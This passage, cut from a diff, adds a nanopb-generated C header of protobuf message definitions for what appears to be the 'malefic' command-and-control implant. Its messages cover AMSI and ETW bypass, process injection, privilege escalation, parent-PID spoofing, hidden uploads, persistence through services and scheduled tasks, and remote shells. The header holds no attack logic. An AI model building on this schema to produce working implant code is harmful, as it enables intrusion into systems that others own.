malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero}} +#define malefic_FFmpegRequest_init_zero {"", "", "", "", ""} +#define malefic_PtyRequest_init_zero {"", "", "", 0, 0, {0, {0}}, "", {{NULL}, NULL}} +#define malefic_PtyRequest_ParamsEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_PtyResponse_init_zero {"", {0, {0}}, "", "", 0, 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, {{NULL}, NULL}} +#define malefic_PtyResponse_MetadataEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_CommonBody_init_zero {"", 0, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 0, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 0, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, 0, {{0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}}} + +/* Field tags (for use in manual encoding/decoding) */ +#define malefic_Ping_nonce_tag 1 +#define malefic_Secure_enable_tag 1 +#define malefic_Secure_key_tag 2 +#define malefic_Secure_type_tag 3 +#define malefic_Secure_public_key_tag 4 +#define malefic_KeyExchangeRequest_public_key_tag 1 +#define malefic_KeyExchangeRequest_signature_tag 2 +#define malefic_KeyExchangeRequest_timestamp_tag 3 +#define malefic_KeyExchangeRequest_nonce_tag 4 +#define malefic_KeyExchangeResponse_public_key_tag 1 +#define malefic_Init_data_tag 1 +#define malefic_Suicide_type_tag 1 +#define malefic_Suicide_timestamp_tag 2 +#define malefic_Request_name_tag 1 +#define malefic_Request_input_tag 2 +#define malefic_Request_args_tag 3 +#define malefic_Request_params_tag 4 +#define malefic_Request_bin_tag 5 +#define malefic_Request_ParamsEntry_key_tag 1 +#define malefic_Request_ParamsEntry_value_tag 2 +#define malefic_Response_output_tag 1 +#define malefic_Response_error_tag 2 +#define malefic_Response_kv_tag 3 +#define malefic_Response_array_tag 4 +#define malefic_Response_KvEntry_key_tag 1 +#define malefic_Response_KvEntry_value_tag 2 +#define malefic_BypassRequest_ETW_tag 1 +#define malefic_BypassRequest_AMSI_tag 2 +#define malefic_BypassRequest_block_dll_tag 3 +#define malefic_NetInterface_index_tag 1 +#define malefic_NetInterface_name_tag 2 +#define malefic_NetInterface_mac_tag 3 +#define malefic_NetInterface_ip_addresses_tag 4 +#define malefic_SockTabEntry_local_addr_tag 1 +#define malefic_SockTabEntry_remote_addr_tag 2 +#define malefic_SockTabEntry_skState_tag 3 +#define malefic_SockTabEntry_pid_tag 5 +#define malefic_SockTabEntry_protocol_tag 6 +#define malefic_NetstatResponse_socks_tag 1 +#define malefic_Block_block_id_tag 1 +#define malefic_Block_content_tag 2 +#define malefic_Block_end_tag 3 +#define malefic_ACK_id_tag 1 +#define malefic_ACK_success_tag 2 +#define malefic_ACK_end_tag 3 +#define malefic_Os_name_tag 1 +#define malefic_Os_version_tag 2 +#define malefic_Os_release_tag 3 +#define malefic_Os_arch_tag 4 +#define malefic_Os_username_tag 5 +#define malefic_Os_hostname_tag 6 +#define malefic_Os_locale_tag 7 +#define malefic_Os_clr_version_tag 8 +#define malefic_Process_name_tag 1 +#define malefic_Process_pid_tag 2 +#define malefic_Process_ppid_tag 3 +#define malefic_Process_owner_tag 4 +#define malefic_Process_arch_tag 5 +#define malefic_Process_path_tag 6 +#define malefic_Process_args_tag 7 +#define malefic_Process_uid_tag 8 +#define malefic_SysInfo_filepath_tag 1 +#define malefic_SysInfo_workdir_tag 2 +#define malefic_SysInfo_is_privilege_tag 3 +#define malefic_SysInfo_os_tag 11 +#define malefic_SysInfo_process_tag 12 +#define malefic_Timer_expression_tag 1 +#define malefic_Timer_jitter_tag 2 +#define malefic_FileInfo_Name_tag 1 +#define malefic_FileInfo_IsDir_tag 2 +#define malefic_FileInfo_Size_tag 3 +#define malefic_FileInfo_ModTime_tag 4 +#define malefic_FileInfo_Mode_tag 5 +#define malefic_FileInfo_Link_tag 6 +#define malefic_SacrificeProcess_hidden_tag 1 +#define malefic_SacrificeProcess_block_dll_tag 2 +#define malefic_SacrificeProcess_etw_tag 3 +#define malefic_SacrificeProcess_ppid_tag 4 +#define malefic_SacrificeProcess_argue_tag 5 +#define malefic_LsResponse_Path_tag 1 +#define malefic_LsResponse_Exists_tag 2 +#define malefic_LsResponse_Files_tag 3 +#define malefic_DriveInfo_path_tag 1 +#define malefic_DriveInfo_drive_type_tag 2 +#define malefic_DriveInfo_total_size_tag 3 +#define malefic_DriveInfo_free_size_tag 4 +#define malefic_DriveInfo_file_system_tag 5 +#define malefic_EnumDriversResponse_drives_tag 1 +#define malefic_PsResponse_processes_tag 1 +#define malefic_ExecRequest_path_tag 1 +#define malefic_ExecRequest_args_tag 2 +#define malefic_ExecRequest_output_tag 3 +#define malefic_ExecRequest_singleton_tag 4 +#define malefic_ExecRequest_realtime_tag 5 +#define malefic_ExecRequest_ppid_tag 10 +#define malefic_ExecResponse_status_code_tag 1 +#define malefic_ExecResponse_stdout_tag 2 +#define malefic_ExecResponse_stderr_tag 3 +#define malefic_ExecResponse_pid_tag 4 +#define malefic_ExecResponse_end_tag 5 +#define malefic_BinaryResponse_data_tag 1 +#define malefic_BinaryResponse_message_tag 2 +#define malefic_BinaryResponse_status_tag 3 +#define malefic_BinaryResponse_err_tag 4 +#define malefic_Modules_modules_tag 1 +#define malefic_Addon_name_tag 1 +#define malefic_Addon_type_tag 2 +#define malefic_Addon_depend_tag 3 +#define malefic_Register_name_tag 1 +#define malefic_Register_proxy_tag 2 +#define malefic_Register_module_tag 3 +#define malefic_Register_addons_tag 4 +#define malefic_Register_timer_tag 5 +#define malefic_Register_sysinfo_tag 11 +#define malefic_Register_secure_tag 12 +#define malefic_Addons_addons_tag 1 +#define malefic_LoadModule_bundle_tag 1 +#define malefic_LoadModule_bin_tag 2 +#define malefic_LoadAddon_name_tag 1 +#define malefic_LoadAddon_type_tag 2 +#define malefic_LoadAddon_depend_tag 3 +#define malefic_LoadAddon_bin_tag 4 +#define malefic_ExecuteBinary_name_tag 1 +#define malefic_ExecuteBinary_bin_tag 2 +#define malefic_ExecuteBinary_param_tag 3 +#define malefic_ExecuteBinary_type_tag 4 +#define malefic_ExecuteBinary_process_name_tag 5 +#define malefic_ExecuteBinary_args_tag 6 +#define malefic_ExecuteBinary_entry_point_tag 7 +#define malefic_ExecuteBinary_data_tag 8 +#define malefic_ExecuteBinary_output_tag 9 +#define malefic_ExecuteBinary_arch_tag 10 +#define malefic_ExecuteBinary_timeout_tag 11 +#define malefic_ExecuteBinary_sacrifice_tag 12 +#define malefic_ExecuteBinary_path_tag 13 +#define malefic_ExecuteBinary_context_tag 14 +#define malefic_ExecuteBinary_delay_tag 15 +#define malefic_ExecuteAddon_addon_tag 1 +#define malefic_ExecuteAddon_execute_binary_tag 2 +#define malefic_ExecuteBinary_ParamEntry_key_tag 1 +#define malefic_ExecuteBinary_ParamEntry_value_tag 2 +#define malefic_ExecuteCommand_command_tag 1 +#define malefic_ExecuteCommand_sacrifice_tag 2 +#define malefic_UploadRequest_name_tag 1 +#define malefic_UploadRequest_target_tag 2 +#define malefic_UploadRequest_priv_tag 3 +#define malefic_UploadRequest_data_tag 4 +#define malefic_UploadRequest_hidden_tag 5 +#define malefic_UploadRequest_override_tag 6 +#define malefic_DownloadRequest_path_tag 1 +#define malefic_DownloadRequest_name_tag 2 +#define malefic_DownloadRequest_buffer_size_tag 3 +#define malefic_DownloadRequest_dir_tag 4 +#define malefic_DownloadRequest_cur_tag 5 +#define malefic_DownloadResponse_checksum_tag 1 +#define malefic_DownloadResponse_size_tag 2 +#define malefic_DownloadResponse_cur_tag 3 +#define malefic_DownloadResponse_content_tag 4 +#define malefic_CurlRequest_url_tag 1 +#define malefic_CurlRequest_timeout_tag 2 +#define malefic_CurlRequest_method_tag 3 +#define malefic_CurlRequest_body_tag 4 +#define malefic_CurlRequest_header_tag 5 +#define malefic_CurlRequest_hostname_tag 6 +#define malefic_CurlRequest_HeaderEntry_key_tag 1 +#define malefic_CurlRequest_HeaderEntry_value_tag 2 +#define malefic_ChownRequest_path_tag 1 +#define malefic_ChownRequest_uid_tag 2 +#define malefic_ChownRequest_gid_tag 3 +#define malefic_ChownRequest_recursive_tag 4 +#define malefic_IfconfigResponse_net_interfaces_tag 1 +#define malefic_Registry_hive_tag 1 +#define malefic_Registry_path_tag 2 +#define malefic_Registry_key_tag 3 +#define malefic_RegistryRequest_type_tag 1 +#define malefic_RegistryRequest_registry_tag 2 +#define malefic_RegistryWriteRequest_hive_tag 1 +#define malefic_RegistryWriteRequest_path_tag 2 +#define malefic_RegistryWriteRequest_key_tag 3 +#define malefic_RegistryWriteRequest_string_value_tag 5 +#define malefic_RegistryWriteRequest_byte_value_tag 6 +#define malefic_RegistryWriteRequest_dword_value_tag 7 +#define malefic_RegistryWriteRequest_qword_value_tag 8 +#define malefic_RegistryWriteRequest_regtype_tag 10 +#define malefic_TaskSchedule_name_tag 1 +#define malefic_TaskSchedule_path_tag 2 +#define malefic_TaskSchedule_executable_path_tag 3 +#define malefic_TaskSchedule_trigger_type_tag 4 +#define malefic_TaskSchedule_start_boundary_tag 5 +#define malefic_TaskSchedule_description_tag 6 +#define malefic_TaskSchedule_enabled_tag 7 +#define malefic_TaskSchedule_last_run_time_tag 8 +#define malefic_TaskSchedule_next_run_time_tag 9 +#define malefic_TaskScheduleRequest_type_tag 1 +#define malefic_TaskScheduleRequest_taskschd_tag 2 +#define malefic_TaskSchedulesResponse_schedules_tag 1 +#define malefic_ServiceConfig_name_tag 1 +#define malefic_ServiceConfig_display_name_tag 2 +#define malefic_ServiceConfig_executable_path_tag 3 +#define malefic_ServiceConfig_start_type_tag 4 +#define malefic_ServiceConfig_error_control_tag 5 +#define malefic_ServiceConfig_account_name_tag 6 +#define malefic_ServiceRequest_type_tag 1 +#define malefic_ServiceRequest_service_tag 2 +#define malefic_ServiceStatus_current_state_tag 1 +#define malefic_ServiceStatus_process_id_tag 2 +#define malefic_ServiceStatus_exit_code_tag 3 +#define malefic_ServiceStatus_checkpoint_tag 4 +#define malefic_ServiceStatus_wait_hint_tag 5 +#define malefic_Service_config_tag 1 +#define malefic_Service_status_tag 2 +#define malefic_ServicesResponse_services_tag 1 +#define malefic_WmiQueryRequest_namespace_tag 1 +#define malefic_WmiQueryRequest_args_tag 2 +#define malefic_WmiMethodRequest_namespace_tag 1 +#define malefic_WmiMethodRequest_class_name_tag 2 +#define malefic_WmiMethodRequest_method_name_tag 3 +#define malefic_WmiMethodRequest_params_tag 4 +#define malefic_WmiMethodRequest_ParamsEntry_key_tag 1 +#define malefic_WmiMethodRequest_ParamsEntry_value_tag 2 +#define malefic_RunAsRequest_username_tag 1 +#define malefic_RunAsRequest_domain_tag 2 +#define malefic_RunAsRequest_password_tag 3 +#define malefic_RunAsRequest_program_tag 4 +#define malefic_RunAsRequest_args_tag 5 +#define malefic_RunAsRequest_use_profile_tag 6 +#define malefic_RunAsRequest_netonly_tag 7 +#define malefic_RunAsRequest_use_env_tag 8 +#define malefic_GetSystem_bin_tag 1 +#define malefic_GetSystem_pid_tag 2 +#define malefic_Inject_bin_tag 1 +#define malefic_Inject_pid_tag 2 +#define malefic_Pipe_name_tag 1 +#define malefic_Pipe_target_tag 2 +#define malefic_Pipe_data_tag 4 +#define malefic_PipeRequest_type_tag 1 +#define malefic_PipeRequest_pipe_tag 2 +#define malefic_Switch_urls_tag 1 +#define malefic_TaskCtrl_task_id_tag 1 +#define malefic_TaskCtrl_op_tag 2 +#define malefic_TaskInfo_task_id_tag 1 +#define malefic_TaskInfo_last_tag 2 +#define malefic_TaskInfo_recv_count_tag 3 +#define malefic_TaskInfo_send_count_tag 4 +#define malefic_TaskListResponse_tasks_tag 1 +#define malefic_FFmpegRequest_action_tag 1 +#define malefic_FFmpegRequest_device_name_tag 2 +#define malefic_FFmpegRequest_output_format_tag 3 +#define malefic_FFmpegRequest_output_path_tag 4 +#define malefic_FFmpegRequest_time_tag 5 +#define malefic_PtyRequest_type_tag 1 +#define malefic_PtyRequest_session_id_tag 2 +#define malefic_PtyRequest_shell_tag 3 +#define malefic_PtyRequest_cols_tag 4 +#define malefic_PtyRequest_rows_tag 5 +#define malefic_PtyRequest_input_data_tag 6 +#define malefic_PtyRequest_input_text_tag 7 +#define malefic_PtyRequest_params_tag 8 +#define malefic_PtyRequest_ParamsEntry_key_tag 1 +#define malefic_PtyRequest_ParamsEntry_value_tag 2 +#define malefic_PtyResponse_session_id_tag 1 +#define malefic_PtyResponse_output_data_tag 2 +#define malefic_PtyResponse_output_text_tag 3 +#define malefic_PtyResponse_error_tag 4 +#define malefic_PtyResponse_session_active_tag 5 +#define malefic_PtyResponse_active_sessions_tag 6 +#define malefic_PtyResponse_metadata_tag 7 +#define malefic_PtyResponse_MetadataEntry_key_tag 1 +#define malefic_PtyResponse_MetadataEntry_value_tag 2 +#define malefic_CommonBody_name_tag 1 +#define malefic_CommonBody_u32_array_tag 2 +#define malefic_CommonBody_u64_array_tag 4 +#define malefic_CommonBody_bool_array_tag 6 +#define malefic_CommonBody_string_array_tag 8 +#define malefic_CommonBody_bytes_array_tag 10 + +/* Struct field encoding specification for nanopb */ +#define malefic_Ping_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, INT32, nonce, 1) +#define malefic_Ping_CALLBACK NULL +#define malefic_Ping_DEFAULT NULL + +#define malefic_Register_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, proxy, 2) \ +X(a, STATIC, REPEATED, STRING, module, 3) \ +X(a, STATIC, REPEATED, MESSAGE, addons, 4) \ +X(a, STATIC, OPTIONAL, MESSAGE, timer, 5) \ +X(a, STATIC, OPTIONAL, MESSAGE, sysinfo, 11) \ +X(a, STATIC, OPTIONAL, MESSAGE, secure, 12) +#define malefic_Register_CALLBACK NULL +#define malefic_Register_DEFAULT NULL +#define malefic_Register_addons_MSGTYPE malefic_Addon +#define malefic_Register_timer_MSGTYPE malefic_Timer +#define malefic_Register_sysinfo_MSGTYPE malefic_SysInfo +#define malefic_Register_secure_MSGTYPE malefic_Secure + +#define malefic_Secure_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BOOL, enable, 1) \ +X(a, STATIC, SINGULAR, STRING, key, 2) \ +X(a, STATIC, SINGULAR, STRING, type, 3) \ +X(a, STATIC, SINGULAR, STRING, public_key, 4) +#define malefic_Secure_CALLBACK NULL +#define malefic_Secure_DEFAULT NULL + +#define malefic_KeyExchangeRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, public_key, 1) \ +X(a, STATIC, SINGULAR, BYTES, signature, 2) \ +X(a, STATIC, SINGULAR, UINT64, timestamp, 3) \ +X(a, STATIC, SINGULAR, STRING, nonce, 4) +#define malefic_KeyExchangeRequest_CALLBACK NULL +#define malefic_KeyExchangeRequest_DEFAULT NULL + +#define malefic_KeyExchangeResponse_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, public_key, 1) +#define malefic_KeyExchangeResponse_CALLBACK NULL +#define malefic_KeyExchangeResponse_DEFAULT NULL + +#define malefic_Init_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BYTES, data, 1) +#define malefic_Init_CALLBACK NULL +#define malefic_Init_DEFAULT NULL + +#define malefic_SysInfo_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, filepath, 1) \ +X(a, STATIC, SINGULAR, STRING, workdir, 2) \ +X(a, STATIC, SINGULAR, BOOL, is_privilege, 3) \ +X(a, STATIC, OPTIONAL, MESSAGE, os, 11) \ +X(a, STATIC, OPTIONAL, MESSAGE, process, 12) +#define malefic_SysInfo_CALLBACK NULL +#define malefic_SysInfo_DEFAULT NULL +#define malefic_SysInfo_os_MSGTYPE malefic_Os +#define malefic_SysInfo_process_MSGTYPE malefic_Process + +#define malefic_Suicide_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, INT32, type, 1) \ +X(a, STATIC, SINGULAR, INT64, timestamp, 2) +#define malefic_Suicide_CALLBACK NULL +#define malefic_Suicide_DEFAULT NULL + +#define malefic_Request_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, input, 2) \ +X(a, STATIC, REPEATED, STRING, args, 3) \ +X(a, CALLBACK, REPEATED, MESSAGE, params, 4) \ +X(a, STATIC, SINGULAR, BYTES, bin, 5) +#define malefic_Request_CALLBACK pb_default_field_callback +#define malefic_Request_DEFAULT NULL +#define malefic_Request_params_MSGTYPE malefic_Request_ParamsEntry + +#define malefic_Request_ParamsEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_Request_ParamsEntry_CALLBACK pb_default_field_callback +#define malefic_Request_ParamsEntry_DEFAULT NULL + +#define malefic_Response_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, output, 1) \ +X(a, STATIC, SINGULAR, STRING, error, 2) \ +X(a, CALLBACK, REPEATED, MESSAGE, kv, 3) \ +X(a, STATIC, REPEATED, STRING, array, 4) +#define malefic_Response_CALLBACK pb_default_field_callback +#define malefic_Response_DEFAULT NULL +#define malefic_Response_kv_MSGTYPE malefic_Response_KvEntry + +#define malefic_Response_KvEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_Response_KvEntry_CALLBACK pb_default_field_callback +#define malefic_Response_KvEntry_DEFAULT NULL + +#define malefic_BypassRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BOOL, ETW, 1) \ +X(a, STATIC, SINGULAR, BOOL, AMSI, 2) \ +X(a, STATIC, SINGULAR, BOOL, block_dll, 3) +#define malefic_BypassRequest_CALLBACK NULL +#define malefic_BypassRequest_DEFAULT NULL + +#define malefic_NetInterface_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, INT32, index, 1) \ +X(a, STATIC, SINGULAR, STRING, name, 2) \ +X(a, STATIC, SINGULAR, STRING, mac, 3) \ +X(a, STATIC, REPEATED, STRING, ip_addresses, 4) +#define malefic_NetInterface_CALLBACK NULL +#define malefic_NetInterface_DEFAULT NULL + +#define malefic_SockTabEntry_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, local_addr, 1) \ +X(a, STATIC, SINGULAR, STRING, remote_addr, 2) \ +X(a, STATIC, SINGULAR, STRING, skState, 3) \ +X(a, STATIC, SINGULAR, STRING, pid, 5) \ +X(a, STATIC, SINGULAR, STRING, protocol, 6) +#define malefic_SockTabEntry_CALLBACK NULL +#define malefic_SockTabEntry_DEFAULT NULL + +#define malefic_NetstatResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, socks, 1) +#define malefic_NetstatResponse_CALLBACK NULL +#define malefic_NetstatResponse_DEFAULT NULL +#define malefic_NetstatResponse_socks_MSGTYPE malefic_SockTabEntry + +#define malefic_Block_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, UINT32, block_id, 1) \ +X(a, STATIC, SINGULAR, BYTES, content, 2) \ +X(a, STATIC, SINGULAR, BOOL, end, 3) +#define malefic_Block_CALLBACK NULL +#define malefic_Block_DEFAULT NULL + +#define malefic_ACK_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, UINT32, id, 1) \ +X(a, STATIC, SINGULAR, BOOL, success, 2) \ +X(a, STATIC, SINGULAR, BOOL, end, 3) +#define malefic_ACK_CALLBACK NULL +#define malefic_ACK_DEFAULT NULL + +#define malefic_Os_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, version, 2) \ +X(a, STATIC, SINGULAR, STRING, release, 3) \ +X(a, STATIC, SINGULAR, STRING, arch, 4) \ +X(a, STATIC, SINGULAR, STRING, username, 5) \ +X(a, STATIC, SINGULAR, STRING, hostname, 6) \ +X(a, STATIC, SINGULAR, STRING, locale, 7) \ +X(a, STATIC, REPEATED, STRING, clr_version, 8) +#define malefic_Os_CALLBACK NULL +#define malefic_Os_DEFAULT NULL + +#define malefic_Process_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, UINT32, pid, 2) \ +X(a, STATIC, SINGULAR, UINT32, ppid, 3) \ +X(a, STATIC, SINGULAR, STRING, owner, 4) \ +X(a, STATIC, SINGULAR, STRING, arch, 5) \ +X(a, STATIC, SINGULAR, STRING, path, 6) \ +X(a, STATIC, SINGULAR, STRING, args, 7) \ +X(a, STATIC, SINGULAR, STRING, uid, 8) +#define malefic_Process_CALLBACK NULL +#define malefic_Process_DEFAULT NULL + +#define malefic_Timer_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, expression, 1) \ +X(a, STATIC, SINGULAR, DOUBLE, jitter, 2) +#define malefic_Timer_CALLBACK NULL +#define malefic_Timer_DEFAULT NULL + +#define malefic_FileInfo_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, Name, 1) \ +X(a, STATIC, SINGULAR, BOOL, IsDir, 2) \ +X(a, STATIC, SINGULAR, UINT64, Size, 3) \ +X(a, STATIC, SINGULAR, INT64, ModTime, 4) \ +X(a, STATIC, SINGULAR, UINT32, Mode, 5) \ +X(a, STATIC, SINGULAR, STRING, Link, 6) +#define malefic_FileInfo_CALLBACK NULL +#define malefic_FileInfo_DEFAULT NULL + +#define malefic_SacrificeProcess_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BOOL, hidden, 1) \ +X(a, STATIC, SINGULAR, BOOL, block_dll, 2) \ +X(a, STATIC, SINGULAR, BOOL, etw, 3) \ +X(a, STATIC, SINGULAR, UINT32, ppid, 4) \ +X(a, STATIC, SINGULAR, STRING, argue, 5) +#define malefic_SacrificeProcess_CALLBACK NULL +#define malefic_SacrificeProcess_DEFAULT NULL + +#define malefic_LsResponse_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, Path, 1) \ +X(a, STATIC, SINGULAR, BOOL, Exists, 2) \ +X(a, STATIC, REPEATED, MESSAGE, Files, 3) +#define malefic_LsResponse_CALLBACK NULL +#define malefic_LsResponse_DEFAULT NULL +#define malefic_LsResponse_Files_MSGTYPE malefic_FileInfo + +#define malefic_DriveInfo_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, path, 1) \ +X(a, STATIC, SINGULAR, STRING, drive_type, 2) \ +X(a, STATIC, SINGULAR, UINT64, total_size, 3) \ +X(a, STATIC, SINGULAR, UINT64, free_size, 4) \ +X(a, STATIC, SINGULAR, STRING, file_system, 5) +#define malefic_DriveInfo_CALLBACK NULL +#define malefic_DriveInfo_DEFAULT NULL + +#define malefic_EnumDriversResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, drives, 1) +#define malefic_EnumDriversResponse_CALLBACK NULL +#define malefic_EnumDriversResponse_DEFAULT NULL +#define malefic_EnumDriversResponse_drives_MSGTYPE malefic_DriveInfo + +#define malefic_PsResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, processes, 1) +#define malefic_PsResponse_CALLBACK NULL +#define malefic_PsResponse_DEFAULT NULL +#define malefic_PsResponse_processes_MSGTYPE malefic_Process + +#define malefic_ExecRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, path, 1) \ +X(a, STATIC, REPEATED, STRING, args, 2) \ +X(a, STATIC, SINGULAR, BOOL, output, 3) \ +X(a, STATIC, SINGULAR, BOOL, singleton, 4) \ +X(a, STATIC, SINGULAR, BOOL, realtime, 5) \ +X(a, STATIC, SINGULAR, UINT32, ppid, 10) +#define malefic_ExecRequest_CALLBACK NULL +#define malefic_ExecRequest_DEFAULT NULL + +#define malefic_ExecResponse_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, INT32, status_code, 1) \ +X(a, STATIC, SINGULAR, BYTES, stdout, 2) \ +X(a, STATIC, SINGULAR, BYTES, stderr, 3) \ +X(a, STATIC, SINGULAR, UINT32, pid, 4) \ +X(a, STATIC, SINGULAR, BOOL, end, 5) +#define malefic_ExecResponse_CALLBACK NULL +#define malefic_ExecResponse_DEFAULT NULL + +#define malefic_BinaryResponse_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BYTES, data, 1) \ +X(a, STATIC, SINGULAR, BYTES, message, 2) \ +X(a, STATIC, SINGULAR, INT32, status, 3) \ +X(a, STATIC, SINGULAR, STRING, err, 4) +#define malefic_BinaryResponse_CALLBACK NULL +#define malefic_BinaryResponse_DEFAULT NULL + +#define malefic_Modules_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, STRING, modules, 1) +#define malefic_Modules_CALLBACK NULL +#define malefic_Modules_DEFAULT NULL + +#define malefic_Addons_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, addons, 1) +#define malefic_Addons_CALLBACK NULL +#define malefic_Addons_DEFAULT NULL +#define malefic_Addons_addons_MSGTYPE malefic_Addon + +#define malefic_Addon_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, type, 2) \ +X(a, STATIC, SINGULAR, STRING, depend, 3) +#define malefic_Addon_CALLBACK NULL +#define malefic_Addon_DEFAULT NULL + +#define malefic_LoadModule_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, bundle, 1) \ +X(a, STATIC, SINGULAR, BYTES, bin, 2) +#define malefic_LoadModule_CALLBACK NULL +#define malefic_LoadModule_DEFAULT NULL + +#define malefic_LoadAddon_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, type, 2) \ +X(a, STATIC, SINGULAR, STRING, depend, 3) \ +X(a, STATIC, SINGULAR, BYTES, bin, 4) +#define malefic_LoadAddon_CALLBACK NULL +#define malefic_LoadAddon_DEFAULT NULL + +#define malefic_ExecuteAddon_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, addon, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, execute_binary, 2) +#define malefic_ExecuteAddon_CALLBACK NULL +#define malefic_ExecuteAddon_DEFAULT NULL +#define malefic_ExecuteAddon_execute_binary_MSGTYPE malefic_ExecuteBinary + +#define malefic_ExecuteBinary_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, BYTES, bin, 2) \ +X(a, CALLBACK, REPEATED, MESSAGE, param, 3) \ +X(a, STATIC, SINGULAR, STRING, type, 4) \ +X(a, STATIC, SINGULAR, STRING, process_name, 5) \ +X(a, STATIC, REPEATED, STRING, args, 6) \ +X(a, STATIC, SINGULAR, STRING, entry_point, 7) \ +X(a, STATIC, SINGULAR, BYTES, data, 8) \ +X(a, STATIC, SINGULAR, BOOL, output, 9) \ +X(a, STATIC, SINGULAR, UINT32, arch, 10) \ +X(a, STATIC, SINGULAR, UINT32, timeout, 11) 